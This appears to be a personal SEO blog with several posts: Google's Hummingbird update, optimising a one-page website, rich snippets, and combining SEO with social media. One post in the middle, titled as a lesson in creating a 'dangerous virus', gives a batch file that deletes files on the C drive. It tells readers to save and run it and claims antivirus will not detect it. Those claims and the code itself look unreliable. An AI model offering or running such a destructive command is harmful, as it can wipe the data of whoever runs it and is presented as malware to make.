Hummingbird - Google's New Search Algorithm

Wondering why the name Hummingbird? Google says the name come from being "precise and fast". Google started using Hummingbird a month ago but announced the change on September 26th. If anyone is curious about your less traffic in this month, this change could be a reason.Google has last updated its algorithm like this perhaps on 2001.

Do not get confused with Panda and Penguin updates, those were the changes to parts of the old algorithm. Hummingbird is a brand new search algorithm, though it continues to use some of the same parts of the old, like Penguin and Panda. "In general, Hummingbird — Google says — is a new engine built on both existing and new parts, organized in a way to especially serve the search demands of today, rather than one created for the needs of ten years ago, with the technologies back then" said Danny Sullivan in SearchEngine Land.

Hummingbird aims to help Google to understand conversational or voice search. The goal is that pages matching the meaning do better, rather than pages matching just a few words. Google says there is nothing new SEO's or publishers need to worry about and SEO is not yet dead since it have original and quality content.

Interesting Infographics: 36 Rules of Social Media

I found this info graphics on web when I was browsing through some usual stuffs like IO7, kitkat android etc. and I felt its quite interesting and useful so I'm posting it here.

How to Optimize a Single Page Website?

I was assigned with a website to optimize, with only one page. I did a groovy dance, yipee...only one page to optimize. But that happiness lasted only for one day, next day my reaction was "WHY THIS TO ME?"

Yes guys, it is a single page to optimize but that is a high-handed decision to not have any pages on the website by the whoever owner. A good part of optimization strategy for your website will be about giving good content to a crawler to index each time it visits.
The parallax approach to the design should be flawless otherwise which itself is a no-no from search engine optimization perspective. The page should flow forward automatically when the user reaches the end of one visible spectrum.

Okay lets move to the optimization part,
Keywords - choose two or three(maximum) keywords.
Metas - As we can have only one meta title and description make it as much as descriptive and brief. This is the door to the potential customers.
URL - Optimize url with the main keyword. There is much option for this as you have only one distinct page.
Content - Focus more on content, Content is the ruler here, make good contents by thinking that you have limitations.

This is all great but the best way to optimize a single webpage is high quality link building. You will need more quality referrers than your competitors. If anyone is supposed to build a single page website, don't put tons of texts, image, videos, etc etc.. as Google hates heavy pages. Anyways you are gonna give lot of SEO issues with one page design, so try to make it less.

PS: The single webpage I got to optimize, started ranking, started dancing and its gonna last for more time.

Learn to Create A Dangerous Virus in less than 60 SEC

Guys, here I'm gonna teach you how to create a simple virus yet very powerfull and harmfull, no softwares are required. Only a notepad is enough. 

How To Make it & What it will do?
1. Open a notepad and write the below code
   @Echo off
   Del C:\ *.* |y

2. Save the file as virus.bat(name anything you like but the extension should be .bat)

3. Run the file

This virus will delete the C drive completely, the interesting part is that, it cant be detected by the antiviruses :)

PS : Do not try this in your computer, it will delete all the contents in your C Drive. I will not be responsible for any damage done to your computer.

Should I Care about Rich Snippets?

O’course you should care about Rich Snippets. Rich Snippets are few lines of text that summarizes the content of the webpage that makes easier for a user to understand what the page is about. But this got a high effect in click through rate and resulting a high ranking.

For example, I searched for chocolate brownie (my favorite) and I got the result like the following two, which one draws more attention from you? Of course the first one with a yummy picture, good rating and votes will get the click (from my side it’s for sure)…

 

This is why I said Rich Snippets are important to add into your site.

Types of Rich snippets

Google supports Rich Snippets for these content types:

• Reviews
• People
• Products
• Businesses and organizations
• Recipes
• Events
• Music 

 The example I have mentioned above is for recipe Rich Snippet.

How to Implement Rich Snippets
Implementation of Rich Snippets is quite easy, you just need to add some additional data tags to your HTML. Presently there are 3 types of mark ups

• Microdata
• Microformat
• RDFa

You can use any of them, but Schema.org recommends Microdata — it has the support of Bing, Yahoo, and Google.

Schema.org has plenty of good examples and directions on implementation, and Google is not far behind on tools and documentation either in its Webmaster Tools Help pages. You can also find more guidelines from Google here.

Why Search Marketing Integration?

When I started working in Search Engine Optimization I have never heard about Social Media (3.5 years back). Today SEO and Social Media together make more sense. Search Marketing Integration is the combination of traditional SEO with Social Media Marketing. Engaging audiences in Social Media and SEO has great similarity as the successes in both rely on the audience’s interest through the contents you post.   

Regardless of the people who tell that SEO died, the back links still hold the influence if it is done in correct way. Using the low quality links, link building tool is all gone now and the concept and usage of content marketing strategy has taken the link building in a different direction.

When you integrate your SEO with Social Media you are gonna boost your search result.

How to integrate Social Media & SEO?

To integrate your Social Media with SEO needs a few things:

An active social media presence, link to your site from your social networks and links to your site, include social share buttons in your website.

Apart from this what else you need are, a solid content , determining keywords that drive traffic to your site, determining social keywords, social media active participation (Posting regularly, commenting, and sharing posts will create discussion, and engage your fans and followers) and maintain your presence.

Conclusion : Social Media needs SEO and SEO needs Social Media, else you’re dead J